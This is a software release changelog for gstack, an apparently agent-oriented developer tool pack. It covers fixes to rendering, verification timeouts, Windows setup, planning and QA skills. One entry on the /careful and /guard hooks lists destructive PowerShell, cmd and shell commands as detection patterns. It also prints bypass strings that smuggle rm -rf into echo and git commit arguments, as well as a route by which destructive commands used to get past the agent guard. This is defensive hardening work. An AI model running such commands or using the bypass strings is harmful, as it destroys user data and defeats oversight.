Same checkout, GSTACK_RENDER_HOSTS=all bun run build 632 632; the next ./setup prunes back to 119

$GSTACK_ROOT paths missing from the Codex runtime root 10 of 80 1 of 80 (scripts/ship-measure.ts, deferred)

What this means for you

Run /gstack-upgrade (or git pull && ./setup). The first setup prints one pruned <dir> line per agent you don't use from this checkout and a host-render backup: line naming where the generated files went; the next ./setup prints none. ./setup --status lists your agents, and ./setup --host <name> adds one back. Nothing gstack can't prove it generated is removed.

Itemized changes

Fixed

An install renders skills only for the agents installed from it. setup records them in .gstack-installed-hosts in the checkout and never drops one, so ./setup --host codex keeps a Factory render. The first run seeds the record from what the checkout already serves: install registry rows, install directories that resolve to it, agent skills that link into its renders, and legacy copy installs. scripts/build.sh renders Claude plus the recorded agents and prints which and why. A checkout with no record (a development checkout) still renders every agent, and GSTACK_RENDER_HOSTS=all forces that inside an install. (#1694)

Every ./setup, and a migration for upgrades, prunes the renders of agents missing from the record, using gstack-relink's proof rules. Links into the checkout are removed. Files proven generated (gstack's generated-file banner, the generator's exact openai.yaml, or byte identity) are moved to ~/.gstack/backups/host-renders/<time>-<id>/. Every other file stays where it is, and only emptied directories are removed. setup prints each kept file and a summary per agent, and prune.log in the backup lists every path. Two installs that share one state root are each cleaned. (#1694)

The Codex .agents/ render is made only when Codex is installed or recorded; a Claude-only setup used to make it every time. (#1694)

Codex, Factory, Kiro, OpenCode, Cursor and Copilot runtime roots carry every file their skills read as $GSTACK_ROOT/<path>: VERSION, scripts/jargon-list.json, scripts/question-registry.ts, the AskUserQuestion split and CJK guides, docs/test-value-bar.md, all four review checklists and the review specialists, plan-devex-review/dx-hall-of-fame.md, design-html's vendored pretext.js, and host-rendered office-hours and plan-design-review SKILL.md copies. Cursor had two of the four checklists and only OpenCode had the specialists. (#1077)

Added

README and docs/troubleshooting.md explain the record, the prune and its backup, and how to get an agent back. docs/ADDING_A_HOST.md documents the render contract and the new host checklist step. setup's Hermes, OpenClaw and GBrain hints say to add the agent to the record before rendering it by hand.

For contributors

bin/gstack-host-renders.sh owns the record, the build's host selection and the prune; scripts/build.sh, setup, bin/dev-setup and gstack-upgrade/migrations/v1.91.65.0.sh source it. bin/dev-setup records Codex because it serves the repo's .agents/. hosts/define-host.ts' sharedRuntimeRoot() mirrors setup's new _link_runtime_dists list and _copy_runtime_skill_refs.

New tests: test/runtime-root-assets.test.ts builds each runtime root with setup's own functions and checks every $GSTACK_ROOT literal in that agent's render on disk (it fails on the previous setup for all five roots); test/host-renders.test.ts (record, build selection, sequential installs, the upgrade refresh path); test/host-renders-prune.test.ts (a real all-agent render with a customized file, a user file, a look-alike skill and links; two installs on one state root; link-based seeding; the migration).

Not verified: Cursor-agent and Claude Code were not re-run against the trimmed tree; the numbers are on-disk counts. The Windows copy-install paths are covered by stubbed tests only.

Thanks to @vschoener for reporting #1694 and for the first fix attempt in #1695, @skyzer for the relocation approach in #1819 (both closed in favor of this one), @Saisreenivas for the Cursor-agent freeze report, and @el-analista for #1077.

[1.91.62.0] - 2026-10-08

A Rails repair can now finish verifying on arm64.

On arm64, every Rails verification failed with ISOLATION_FAILED, reporting either "Exact reproduction cleanup failed" or "Attempt watchdog did not acknowledge execution-copy cleanup". Neither cleanup was broken. One attempt prepares the application twice, and an offline Rails preparation that compiles native gems takes 6.8 to 8.5 minutes on a 4-vCPU arm64 runner, against about 3.5 minutes on amd64. The 900-second attempt bound expired during the second preparation, the watchdogs cleaned up on schedule, and the helper reported that deadline as a cleanup failure.

The numbers that matter

Measured on Ubicloud 4-vCPU runners with the staged Rails image from staging run 37735865870 and gstack 1d1ce39b4. Each figure is the start-to-kill time of one Docker group, taken from docker events.

Rails verification step amd64 arm64

Offline preparation (each of the two phases) 3.3–3.5 min 6.8–8.5 min

Phase observation (boot, controls, tests) 8–10 s 14–26 s

Where the 900 s attempt ended finished in about 8 min killed during the second preparation, 3 of 3 arm64 reference repairs

Attempt bound 900 s 1,800 s, still cut to the run's reporting deadline

What this means for you

Rails repairs on arm64 hosts, including Apple silicon Docker, can now reach runtime_tested and replay. Node, Bun and Python keep their 300-second attempt.

Itemized changes

Fixed

MAX_VERIFICATION_ATTEMPT_MS, the Rails attempt and replay bound, is now 1,800 seconds. That equals the longest comprehensive run budget, and each attempt is still cut to the run's reporting deadline. The attempt watchdog, the Docker verification executor and the assertion witness lifetime share this bound.

For contributors

test/cso-cli-lifecycle.test.ts pins the new bound.

[1.91.60.0] - 2026-10-08

Windows setup finishes when the optional /cso helper fails to build, and it tells you when Smart App Control blocks gstack's binaries.

On Windows, ./setup stopped completely when the native /cso helper failed to build or publish (#3071), even though /cso is optional and every other skill was ready. On Windows 11 with Smart App Control on, setup reported success while Windows refused to start all five binaries gstack compiles (browse, find-browse, design, pdf, gstack-global-discover). Git Bash shows that as Permission denied, so /qa, /browse, /design-* and /make-pdf failed later with a misleading error (#2595, #2124). And the sidebar terminal rendered every character double-width on Windows (#2287).

The numbers that matter

Measured on Linux (4 vCPU) at f67c478 (before) and on this branch (after). The Windows-only paths are covered by stubbed tests here and by the windows-setup-e2e job on windows-latest. Nobody has run this on a machine with Smart App Control on.

Check Before After

scripts/build.sh with a CSO publish failure injected exit 86; no browse server bundle, no build stamp exit 0; bundle and stamp written; failure recorded with stage and log

./setup --host codex with the same failure stops (exit 86) finishes; prints CSO publish step failed (exit 86) ...; previous CSO kept: <revision>

Same failure with GSTACK_STRICT_BUILD=1 exit 86 exit 1 with the reason (CI keeps catching regressions)

browse --version started a browse server, then exited 1 prints the build hash, exits 0, starts nothing

pdf --version / gstack-global-discover --version exit 1 (usage) exit 0

Compiled binaries setup and gstack-doctor launch-check 0 of 5 5 of 5

What this means for you

Run /gstack-upgrade (or git pull && ./setup), then run ~/.claude/skills/gstack/bin/gstack-doctor: its new binaries and cso rows show whether every compiled binary starts and whether /cso's helper is installed. On Windows with Smart App Control on, setup now lists the blocked binaries and the skills that need them, and points to the two workarounds that work today: run gstack inside WSL, or turn Smart App Control off. Signed binaries are the real fix and are tracked in TODOS.md.

Itemized changes

Fixed

A failed /cso helper build or publish no longer stops scripts/build.sh or ./setup. setup says which step failed (probe, build or publish), where the log is (bin/.gstack-cso-build.log), what still works, and the retry command (bun run build:cso && ./setup). When a failed publish restores the earlier helper, setup says previous CSO kept: <revision> and /cso keeps using it. GSTACK_STRICT_BUILD=1 makes the failure fatal; the free-tests, make-pdf-gate and windows-setup-e2e builds set it. (#3071)

scripts/build-cso.sh clears its EXIT trap before it hands the stage to the native publisher, so on Git Bash the parent can no longer delete the staged files while the publisher runs. If the publisher cannot start, the parent cleans up and records why. Whether this was the cause of #3071's vanishing files is unproven. (#3071)

The Windows /cso toolchain probe and build prefer PowerShell 7 (pwsh) and fall back to Windows PowerShell 5.1. A probe that fails for another reason keeps its exit status and first output line (windows-toolchain-probe) instead of being labeled a missing Visual Studio install. (#3071)

browse, find-browse, pdf and gstack-global-discover answer --version before doing anything else, like design already did.

The sidebar terminal and the sidepanel's monospace text list Consolas and the Cascadia faces before the CJK fallbacks, so Windows no longer renders C l a u d e. (#2287)

Added

setup on Windows runs each compiled binary's --version after the build. Binaries that cannot start are reported as blocked by Smart App Control or another application-control policy, with the skills that need them, the shell setup ran from, whether WSL is installed, how to undo it, and a new troubleshooting section. A binary that starts but fails is reported as a build problem. setup prints the raw Windows error beside its classification because that text is unverified. (#2595, #2124)

gstack-doctor: the browse bundle row says blocked at launch instead of passing, a new binaries row covers the other four compiled binaries, and a new cso row reads the build-result record.

README documents Smart App Control as a known issue and /cso as optional on Windows; docs/troubleshooting.md gains a Windows section and an entry for CSO build and publish failures.

For contributors

bin/gstack-launch-probe.sh is the shared launch classifier (native, blocked, broken, missing) for setup and the doctor. bin/.gstack-cso-build-result is the CSO outcome record that scripts/build-cso.sh writes; setup removes it with the helper when a prerequisite is missing, so it never writes into a source checkout that needed no build. They are pinned by test/gstack-launch-probe.test.ts, test/build-cso-result-record.test.ts, test/build-cso-nonfatal.test.ts, test/setup-cso-degrade.test.ts, test/setup-windows-launch-hint.test.ts, test/binary-version-probe.test.ts, and new cases in test/gstack-doctor.test.ts and browse/test/sidebar-ux.test.ts.

windows-setup-e2e checks that all five binaries answer --version, and adds two forced CSO failures: fatal under GSTACK_STRICT_BUILD=1, and a completed setup with a doctor cso warning under GSTACK_STRICT_BUILD=0.

Deliberately not done: a bun run shim for blocked binaries. PowerShell callers could not use it, and it would load the calling project's .env and bunfig.toml.

Thanks to @dviolante for the #3071 report and its diagnosis, including the PowerShell 5.1 crash and the pwsh fix. Thanks to @tomfluff for the font fix (#2287, landed with original authorship). The Smart App Control diagnosis came from @knetics9000 (#2595, #2596), @smartjelic-sys (#2595), @pstilwell90 (#2124), @cko32002 (#2265) and @salluexez (#2127).

[1.91.59.0] - 2026-10-08

/autoplan's phase guard accepts a plan under a symlinked directory, and a failed snapshot init no longer blocks a corrected re-run.

The /autoplan publication guard checks that snapshot init reported the same active-plan and restore paths it was given. init reports canonical paths, with every directory link resolved, but the guard compared them against the command arguments as typed. On macOS /tmp and /var are links to /private/tmp and /private/var, so every plan under them, and any plan reached through a symlinked directory elsewhere, was denied with init_mismatch at the first phase. Separately, the guard stopped at the first init call that errored, so one bad call denied the whole session even after a correct init succeeded.

What this means for you

Run /gstack-upgrade. /autoplan on a plan under /tmp, /var/folders or another symlinked directory now enters its phases instead of stopping at init_mismatch. If an init call fails, re-run the same command with the same three paths: the later success binds, and init_failed now tells you to do exactly that.

Itemized changes

Fixed

The phase publication guard canonicalizes init's <active> and <restore> arguments the same way init does before comparing them with its result. Writes and Edits to the active plan are matched by canonical path, so a pending Edit through a symlinked spelling still counts as pending. (#3072)

An errored init call is skipped. The guard denies init_failed only when the most recent init call errored, and the message says to re-run the same command. A mistyped snapshot-tool path is treated as an unbindable call rather than crashing the hook. (#3072)

init_mismatch explains that init returned paths that don't match its own arguments and no longer suggests re-running the same call. (#3072)

For contributors

bin/gstack-autoplan-snapshot.ts exports canonicalDestination, the path computation initializePlan already used, so the guard and init share one definition. init's output is unchanged.

New PAX-3638 cases in test/autoplan-publication-guard.test.ts and test/autoplan-init.test.ts drive the guard through a symlinked fixture directory, so the bug reproduces on Linux: 9 of the 11 new guard cases fail against the previous hook. docs/autoplan-guard-troubleshooting.md gains a "Symlinked plan directories" section and updated init_mismatch and init_failed entries.

Contributed by @wyatt-paxiv (#3072).

[1.91.54.0] - 2026-10-08

Your first /office-hours session gets the first-session closing again, and you see the design doc before you approve it.

/office-hours logged the session to your builder profile and then read the profile to choose its closing, so every run counted itself as history. A first-time user got the "welcome back" closing, never saw the introduction, and was asked how the assignment they had just been given went. Every later tier was one session early too. Separately, the approval question showed up while the design doc sat in a collapsed tool output, and a session that never wrote a doc could still be logged as a success.

What this means for you

Run /gstack-upgrade, then start /office-hours on a new idea. Before the doc is saved you'll see a Builder profile before this session: line. On a first session it says SESSION_TIER=introduction PRIOR_SESSION_COUNT=0, and the closing is the introduction. gstack-timeline-read --limit 1abc now exits 2 and shows an example instead of quietly reading one event.

Itemized changes

Fixed

/office-hours reads your builder profile before it logs the session and carries the earlier tier, count and last assignment to the closing. This session is counted as the prior count plus one. If the profile can't be read, it treats the session as your first and tells you so. A returning greeting skips "last time" when the profile has no last assignment or project, and just says "Welcome back." (#2801)

/office-hours prints the complete design doc in the conversation before asking you to approve it. (#879)

/office-hours logs success only when this run's own design doc exists and isn't empty. It checks the doc's exact path under your gstack state root. A session that ends without a doc is logged as abort or error with failed step design_doc. (#1049)

/plan-ceo-review, /plan-eng-review, /plan-devex-review and /autoplan skip the "run /office-hours first?" offer in spawned and headless sessions, where nobody can answer it, and continue with the standard review. (#1958)

gstack-timeline-read --limit takes only a positive integer. A missing value, 0, -5, abc or 1abc exits 2 with --limit must be a positive integer (got '<value>'); example: --limit 20, whether or not the project has a timeline. Without the flag you still get 20 events. (#1723)

Skill start prints SESSIONS: N, the number of gstack sessions active in the last two hours, so CLAUDE.md rules that read the session count have a value. (#1651, part A)

For contributors

New tests in test/gen-skill-docs.test.ts run the rendered office-hours profile read, session log and design-doc check against a temporary state root. test/timeline.test.ts covers each bad --limit on empty and populated histories. test/gstack-skill-start.test.ts covers the SESSIONS count. The office-hours, plan-eng-review and autoplan parity caps include the measured growth.

Contributed by @kikearciniegas (#2801), @kichinosukey (#879), @RyanAlberts (#1116), @walton-chris (#1049), @aviraldua93 (#1958), @jbetala7 (#1723, #1724), @TJ-NomoAI (#1651) and @0xDevNinja (#1747).

[1.91.52.0] - 2026-10-08

/qa says exactly what shape annotations.json takes, and the qa-quick gate eval stops timing out at its 300 s budget.

Before writing its report, /qa records an annotations.json file and runs gstack-qa-evidence materialize on it. The section that describes the file listed its fields as {evidence: [...], limits} and told browser-only runs to put "checkpoints in limits", but it never said what type limits is. The validator only accepts a non-empty array of strings. In 11 of 15 recent qa-quick CI transcripts, the agent's first attempt wrote limits as an object, the call failed, and the agent had to retry. Anyone running /qa or /qa-only could hit the same retry.

qa-quick runs on every PR that touches browse/src. It passed 13 of 15 recent CI runs in 206-280 s, and the other 2 hit the 300 s session timeout. Two parts of the case's own setup were adding work. Its fixture directory was not a git repository, so in all 15 runs materialize first failed with "revision is required when git rev-parse HEAD is unavailable". Its prompt also put the fixture's /page1 and /page2 links in scope. Both links return 404 on the test server, so each run spent part of its 30 s probe window, and its wrap-up, investigating and reporting them. The session budget, the thresholds and the /qa workflow are unchanged.

The numbers that matter

Diagnostic ship-measure trials in the CI image (Claude Code 2.1.292, Bun 1.4.2, --jobs 2, CI=true). They never change a recorded verdict.

qa-quick Before (CI, 15 runs) After (10 trials)

Passed 13 of 15 10 of 10

Pass duration, median (range) 252 s (206-280 s) 187 s (155-256 s)

Mean cost per trial $1.75 $1.46

Runs with a failed materialize call 15 of 15 0 of 10

What this means for you

/qa and /qa-only now get annotations.json right on the first try, which saves a failed tool call near the end of a run. A browse PR's qa-quick check should no longer time out. Its slowest measured trial (256 s) sits right at the 85% headroom line (255 s), so the weekly gate's headroom alarm may still flag the case now and then.

Itemized changes

Fixed

qa/sections/exploratory.md §4 (shared by /qa and /qa-only through the QA_EXPLORATORY resolver) shows limits as ["checkpoint 001"] and says it is a non-empty string array, never an object. That matches what lib/qa-evidence.ts already enforces.

For contributors

qa-quick commits its fixture directory to git before the session starts, as qa-only-no-fix already does. /qa's clean-tree check and the evidence recorder's revision now work the way they do in a real repository.

qa-quick limits Quick scope to the fixture page itself: its load, console health and rendered content. The two same-origin links are listed as untested coverage. The qa-b6/b7/b8 and qa-fix-loop cases still cover link following and defect detection.

[1.91.47.0] - 2026-10-08

/careful and /guard now check PowerShell commands, and /freeze now covers notebook edits.

On Windows, Claude Code runs shell commands through its PowerShell tool, and on a machine without Git Bash that is the only shell it has. /careful and /guard listened only to the Bash tool, so they never saw those commands: Remove-Item -Recurse -Force C:\proj and rmdir /s /q C:\proj went through with no prompt. The hook also had no PowerShell or cmd patterns at all. Separately, on every platform, NotebookEdit was missing from the /freeze, /guard and /investigate hooks, and the freeze check read only file_path. A notebook edit outside the boundary was allowed.

The numbers that matter

Checked by piping hook payloads into the real scripts (test/hook-scripts.test.ts) on Linux.

Check Before After

PowerShell tool: Remove-Item -Recurse -Force C:\proj, rmdir /s /q C:\proj allowed (the hook never ran, and had no pattern) ask, naming the matched pattern

Bash: pwsh -c "Remove-Item -r -fo x", cmd /c "rd /s /q x", cmd //c "r^d /s /q x" allowed ask

-EncodedCommand, iex, Start-Process pwsh, & $cmd, [IO.Directory]::Delete allowed ask, explaining that encoded or dynamic PowerShell can't be inspected

NotebookEdit on /etc/x.ipynb with /freeze set elsewhere allowed denied, naming the tool, notebook_path, the boundary and /unfreeze

Negative controls (git branch -d, ord, --del, a /rd/ path, Remove-Item x.txt), on Bash and PowerShell allowed still allowed

New #3067 hook tests run against the old scripts — 54 of 98 fail; the other 44 (controls and unchanged behavior) pass on both

What this means for you

Run /gstack-upgrade, then start /careful in a new session. On Windows, ask Claude to run Remove-Item -Recurse -Force .\scratch through PowerShell: you'll get an approval prompt that names ps_remove_item. PowerShell coverage is best-effort, because PowerShell can build a command at runtime that string matching can't see. If you need a hard stop, add Claude Code permission deny rules, such as "deny": ["PowerShell(Remove-Item *)"]. Those rules parse PowerShell and match aliases. The hooks run through bash, so on Windows they still need Git Bash, which gstack already requires.

Itemized changes

Fixed

/careful and /guard register a PowerShell hook matcher beside Bash (#3067).

check-careful.sh runs one PowerShell and cmd pattern table. It covers commands from the PowerShell tool, and the rest of any Bash command from the point where it launches pwsh, powershell or cmd (including Git Bash's cmd //c). Matching ignores case and covers aliases (rm, ri, del, erase, rd, rmdir). Command names match only where a command starts. Parameters match any prefix PowerShell accepts (-r, -rec, -fo, -forc, -Recurse:$true). cmd ^ escapes and PowerShell backtick escapes are removed before matching. The covered commands are Remove-Item with -Recurse or -Force, rd/rmdir/del/erase with /s, Format-Volume, Clear-Disk, Clear-Content (the same as truncate), [IO.Directory]::Delete and [IO.File]::Delete, plus asks for -EncodedCommand/-enc, Invoke-Expression/iex, Start-Process of a shell and & $cmd. Patterns that apply to any shell (git push --force, DROP TABLE, and the rest) apply to PowerShell commands too.

/freeze, /guard and /investigate register a NotebookEdit matcher beside Edit and Write. check-freeze.sh reads notebook_path when file_path is absent (#3067). Every freeze denial now names the tool, the path field and /unfreeze.

PR #1110's bypass strings (echo hi; rm -rf ~, echo $(rm -rf /), git commit -m "$(rm -rf ~)") are pinned as negative controls and still ask.

For contributors

gstack_hook_extract_tool in careful/bin/hook-extract.sh reads tool_name and the first non-empty field in one parser call, so dispatch adds no process per command. A check-careful.sh paired with an older helper falls back to the Bash-only reader. A check-freeze.sh paired with an older helper denies as out of date.

The payload shapes come from Claude Code's docs. PowerShell sends tool_input.command (hooks reference, "PreToolUse > PowerShell"). NotebookEdit sends tool_input.notebook_path (Agent SDK NotebookEditInput). MultiEdit no longer appears in the tools reference, the hooks reference or the SDK tool list, so it gets no matcher.

The careful and freeze hook matchers are separate per-tool entries, matching the existing Edit/Write entries. Claude Code treats them the same as one Bash|PowerShell list, and the safety-prose parser in scripts/gen-skill-docs.ts keeps reading them.

test/hook-scripts.test.ts is now named Windows coverage in scripts/lib/windows-curation.ts. Its symlink, newline-path and POSIX-PATH cases are skipped on win32.

The hook payload reader writes bytes from Python. Windows text-mode output had turned PowerShell into PowerShell\r, so the table never ran there; the first windows-free-tests run of these tests caught it. hook-extract.sh also finds gstack-state-root.sh when sourced through a C:\ path.

The PR paid lane's office-hours-auto-mode case matched 0 tests because its Bun test name differs from its id. CASE_TEST_NAMES now maps it, and test/test-pr-profile.test.ts checks that every audited PR-profile case is addressable by name.

careful/bin/check-careful.sh is listed in FREE_ONLY_PR_FILES. No paid fixture runs it, and as an unknown dependency it used to restore the full paid gate on every /careful change.

Thanks to @jtheyse for the #3067 report and its suggested fix shape, @JiayuuWang for PR #1110, whose bypass strings became negative controls, and @BenjaminDSmithy for PR #3066's frontmatter hook-check derivation. The new matchers pass #3066's bin/gstack-hook-check and its test as well as main's.

[1.91.45.0] - 2026-10-08

Added

Choose separate model tiers for planning and implementation. Independent plan reviews default to Fable 5.1 or GPT-6 Astra; implementation handoffs recommend Opus 5.5 or GPT-6.1 Sol without switching your session. Explicit model choices still win, and plan_review_tier smart or host provides an alternative to the frontier default.

Inspect effective models, their sources and copyable pin/reset commands with gstack-models. Six settings use the existing configuration store, with fail-closed validation and a notice before the first affected review. See the model-policy guide.

Policy inspection reports native Windows paths and rejects non-directory or unreadable state roots rather than silently selecting defaults.

Get weekly advisory checks of official model recommendations and retirement notices. One tracking issue retains source evidence and lifecycle history; upgrades remain human-reviewed, with no automatic model changes or paid benchmarking.

Fixed

Codex model probes retain up to sixteen selections, serialize concurrent misses and preserve newer entries when another probe finishes later. Plan-review readiness and execution share one deadline, and failed model choices point to the setting that actually selected them.

/review and /ship explicitly require prerequisite QA instructions to be read in earlier responses before a probe, including its evidence capture.

[1.91.42.0] - 2026-10-08

/cso lifts its file-count ceiling: repositories with tens of thousands of files reach the audit. Repositories with more than 64 MiB of tracked source, or with a tracked symlink, are still refused, and the message now says which limit applied and what to do.

/cso refused any repository with more than about 3,100 files before an audit started, with "Snapshot manifest exceeds the 1 MiB private-state admission limit" (#3068). The snapshot's file list shared a 1 MiB limit with every other private file /cso keeps, and so did the report it writes, the list of files with secret-like findings, and Git's own file listing. The snapshot list now has its own 16 MiB limit (about 50,000 files) and is written compactly. Per-file lists in the report and the evidence file keep their first entries and end with one line saying how many more there are. The counts in the report stay exact.

The numbers that matter

Shallow clones measured on 2026-10-08 with start --offline, before and after this release:

Repository Files Tracked source Before After

sveltejs/svelte 9,182 6.9 MiB refused (file list over 1 MiB) audit starts; 2.8 MiB file list, 10 KB report

facebook/react 7,252 38.7 MiB refused (file list over 1 MiB) audit starts; 2.3 MiB file list, 53 KB report

laravel/framework 3,439 25.7 MiB refused (file list over 1 MiB) audit starts; 1.0 MiB file list, 30 KB report

django/django 7,085 44.0 MiB refused (4 tracked symlinks) refused (symlinks); starts once they are removed

rails/rails 5,007 38.1 MiB refused (1 tracked symlink) refused (symlink); starts once it is removed

hashicorp/terraform 5,562 25.6 MiB refused (10 tracked symlinks) refused (symlinks); starts once they are removed

grafana/grafana 23,749 210.7 MiB refused (Git file listing over 1 MiB) refused (symlinks); then the 64 MiB source cap

microsoft/vscode 20,238 540.0 MiB refused (Git file listing over 1 MiB) refused (symlink); then the 64 MiB source cap

On a synthetic 5,000-file repository with long nested paths, where most files are excluded or withheld and 1,000 files carry secret-like strings, the report is 267 KB and the evidence file 524 KB. Unbounded, the same lists took 1.97 MB and 1.68 MB, over the 1 MiB limit. A free test drives that shape through start, inspect, findings, finish and recheck.

What this means for you

Run /gstack-upgrade, then run /cso on a repository with more than 3,100 files: the audit starts instead of stopping at the snapshot. If /cso still refuses, the message names the limit (the 16 MiB snapshot list, the 64 MiB source cap, or a symlink), the measured size, what counts toward it and the next step. No setting raises these limits yet; the 64 MiB source cap is tracked in #2993, and docs/troubleshooting.md#cso-capacity explains all three.

Itemized changes

Fixed

/cso refused repositories with more than about 3,100 files before an audit. The snapshot file list is written compactly and capped at 16 MiB; every other private file keeps its 1 MiB limit. Snapshot lists written by earlier releases still load in recheck and inspect. (#3068)

Report coverage gaps, exclusions and transformations, and the evidence file of secret-like findings, keep their first entries and end with an omitted count, so a large repository no longer overflows the report partway through an audit.

Git's file listings during capture are allowed up to the snapshot list size, so repositories past roughly 11,000 to 23,000 files, depending on path length (7,000 to 10,000 with --diff or --base), no longer fail with "Could not read bounded Git metadata: ls-tree exceeded the output limit".

The snapshot-list and 64 MiB source-cap errors state the measured value, the limit, what counts toward it, the next step and the #2993 link. A single file that would cross 64 MiB now gets the same message before it is read. (#2993)

For contributors

readJson takes a per-artifact size cap. readSnapshotManifest(dir) is the only reader of snapshot.json, and a source test fails on a direct read.

boundedList in lib/cso/state.ts bounds a per-entry list by the pretty-printed bytes it adds and appends one omitted-count item.

runProcess lets raw callers opt in to up to 16 MiB of output; everything else keeps the MAX_OUTPUT clamp, which stays 1 MiB.

Thanks to @almoatasemm for the report (#3068) and @saanjay for the capacity diagnosis of the manifest, reader and source caps (#2993).

[1.91.38.0] - 2026-10-07

/ios-qa works on iPads, and a dropped USB route no longer restarts the app you are testing.

Three things went wrong on real devices. The daemon accepted only iPhones, so a paired iPad was refused with "not an iPhone" (#2743). Once a session was running, any blip in Xcode 26's CoreDevice tunnel made the daemon start over: the app had already deleted its one-use boot token, so the only way back in was devicectl process launch --terminate-existing, which threw away the app's in-memory QA state in the middle of a test flow (#1975). And if the app could not write that boot token in the first place, StateServer failed silently with try?, so the daemon kept relaunching an app that could never let it in (#1837).

The numbers that matter

Measured with the simulated-device tests in ios-qa/daemon/test/daemon-integration.test.ts (a devicectl emulator plus a StateServer with the real token rules). Real iPhone and iPad runs have not been done for this release.

Check Before After

Paired iPad on USB, no target set refused ("not an iPhone") bootstraps

iPhone and iPad both on USB, no target set silently drives whichever devicectl listed first stops and lists both UDIDs with a ready export GSTACK_IOS_TARGET_UDID=... line

One route drop during a session 1 --terminate-existing relaunch, in-app state lost 0 relaunches, state kept, same bearer

Three requests failing on the same drop one bootstrap and one relaunch one shared recovery, no relaunch

App that cannot write its boot token silent; daemon relaunches it once, then boot_token_unavailable with no cause NOT READY in the device log; daemon names the cause and does not relaunch

What this means for you

Run /gstack-upgrade, then rerun gstack-ios-qa-regen in your app so the new StateServer lands in DebugBridge/. Plug in an iPad and run /ios-qa: it connects like an iPhone. With an iPhone and an iPad both plugged in, the daemon prints both UDIDs and the export GSTACK_IOS_TARGET_UDID=<udid> line to run. When the tunnel drops mid-session, the daemon log says tunnel recovered: kept the session and the app keeps its state. A restarted daemon still relaunches the app once, because a new daemon has no session bearer.

Itemized changes

Fixed

Physical iPads are accepted (#2743). Device selection takes iPhones and iPads (platform iOS or iPadOS); errors say "iPhone or iPad". Watches, Vision Pro and other devices are still refused. Contributed by @loulanyue (#2779), reported by @Artic0din.

Two devices are never guessed between. When an iPhone and an iPad (or any two devices) tie for the default, bootstrap fails with multiple_devices, lists each device with its UDID, and prints the export line.

A route drop keeps the session (#1975, finding 1). On 503 device_disconnected or 504 upstream_timeout the daemon re-selects the device with the same rules, re-resolves the tunnel address for the same UDID, checks the unauthenticated /healthz owner, and probes /state/snapshot with the bearer it already holds. If the app accepts it, the session continues. It bootstraps only when the app rejects the bearer (401, the app was relaunched), the app is confirmed not running (one normal launch), or a different device is now selected. The bearer is only sent to the address devicectl reports for that UDID, or to the address the session already used, never to another device. Concurrent failures share one recovery, and a tap or other mutation whose response was lost is still never replayed. Diagnosis by @jpb33333 in #1975; @Bmathews721 traced the same rotate-then-rebootstrap failure in #1796.

A failed boot-token write is loud (#1837). StateServer.start() writes the 0600 token file in a do/catch, logs the path and error (never the token), logs gstack-ios-qa-bootstrap NOT READY, and reports boot_token_error on /healthz. The daemon turns that into boot_token_unavailable with the cause instead of relaunching the app. Reported by @aweevenson-sea.

Docs

/ios-qa no longer tells you to capture the boot token from os_log; the token left os_log in v1.65.0.0. The stale comments in StateServer are gone too (#1837, #1735 item 7).

Source-control guidance for the generated DebugBridge/ package: commit it or ignore it, never hand-edit it (#1735 item 7, reported by @frank-alvarado).

A new "Known limits" section: in-process synthesized touches do not reach SwiftUI DragGesture on iOS 26 and /swipe only scrolls a UIScrollView (#1975 findings 2 and 3, @jpb33333); on iOS 26.3.1 /elements returns only the hosting views (device data from @sternryan in #1755); iPad Stage Manager is not verified.

The iOS how-to, README and skill index cover iPads, GSTACK_IOS_TARGET_UDID, and the new failure rows.

For contributors

selectDevice() and recoverTunnel() in ios-qa/daemon/src/tunnel-bootstrap.ts; refreshTunnel in startDaemon() coalesces refreshes per failed tunnel. The CLI wiring is deviceTunnelSource() in ios-qa/daemon/src/index.ts, so tests drive exactly what the daemon runs.

ios-qa/daemon/test/fake-device.ts simulates a device: a devicectl emulator plus a StateServer with the one-use token file, rotation, relaunch and black-holed requests.

Pinned by ios-qa/daemon/test/daemon-integration.test.ts (live route drop, lost tap, concurrent drops, stopped app, Xcode relaunch, device change), ios-qa/daemon/test/tunnel-bootstrap.test.ts (iPad, Watch, multiple devices, recovery address and owner rules, token-write error) and test/ios-qa-stateserver-hardening.test.ts (no silent try? write, no os_log claim) on both the template and the fixture copy.

Not verified here: Swift compilation of the changed StateServer (only swiftc -parse ran; no Apple SDK), and any iPhone or iPad run.

[1.91.36.0] - 2026-10-07

Python and Rails repairs can now reach runtime_tested and replay, and a killed verification leaves nothing behind.

Runtime verification had four defects that the private evaluator's Lane R found on its Python, Rails and watchdog checks. First, a verified Python repair could never replay: offline preparation wrote timestamped .pyc bytecode, so every preparation hashed differently and replay reported "Replay changed verification outcomes, preparation, or provenance inputs". Second, Rails replays failed the same way, because RubyGems build logs record a random temporary directory. Third, no Rails verification could finish on a 4-vCPU host: an attempt prepares the application twice, each Rails preparation compiles native extensions for about four minutes, and the attempt watchdog, executor and assertion witness were each capped at five minutes. Fourth, after a helper was killed mid-verification, the watchdog removed every container, but resume and finish left the dead attempt's control directory and archive staging in the run directory.

The numbers that matter

Measured on amd64 (4 vCPU) with gstack-cso built from 28f1385 plus these fixes, the staged runtime images from staging run 37555192492, and the evaluator's private corpus.

Check Before After

Two Python offline preparations of the same app prepared dependency trees differ 0 differing files

One Rails offline preparation about 245 s unchanged

Rails verification attempt ended by the 300 s watchdog during its second preparation certifies within the 900 s bound

Helper SIGKILL during preparation or with the app running, then resume and finish preparation-execution (and archive-staging) not empty empty

What this means for you

Python projects locked with requirements.txt or uv.lock, and Rails projects with native gems, can now be verified and replayed. Node and Bun keep their 300-second attempt. If a verification is interrupted, resume now reclaims its scratch once the watchdog has recorded cleanup.

Itemized changes

Fixed

Python offline preparation sets SOURCE_DATE_EPOCH, so venv, ensurepip and pip write checked-hash .pyc files and two preparations of the same app produce identical trees.

The prepared manifest and dependency hashes leave out RubyGems and mini_portile build diagnostics (extensions/**/gem_make.out, extensions/**/mkmf.log, gems/*/ext/**/tmp/**/*.log). These logs name random build directories and are never loaded; the compiled extensions stay in the identity.

A Rails verification attempt and a Rails replay get 900 seconds instead of 300, still capped by the run's reporting deadline. The attempt watchdog, the Docker verification executor and the assertion witness lifetime now share that one bound (MAX_VERIFICATION_ATTEMPT_MS) instead of each enforcing 300 seconds. Other stacks keep 300 seconds.

resume and finish reclaim a killed attempt's supervision, preparation-execution, archive-staging, archive-materializations and verification scratch. They do this under the run lock and only when no detached watchdog cleanup is still pending.

For contributors

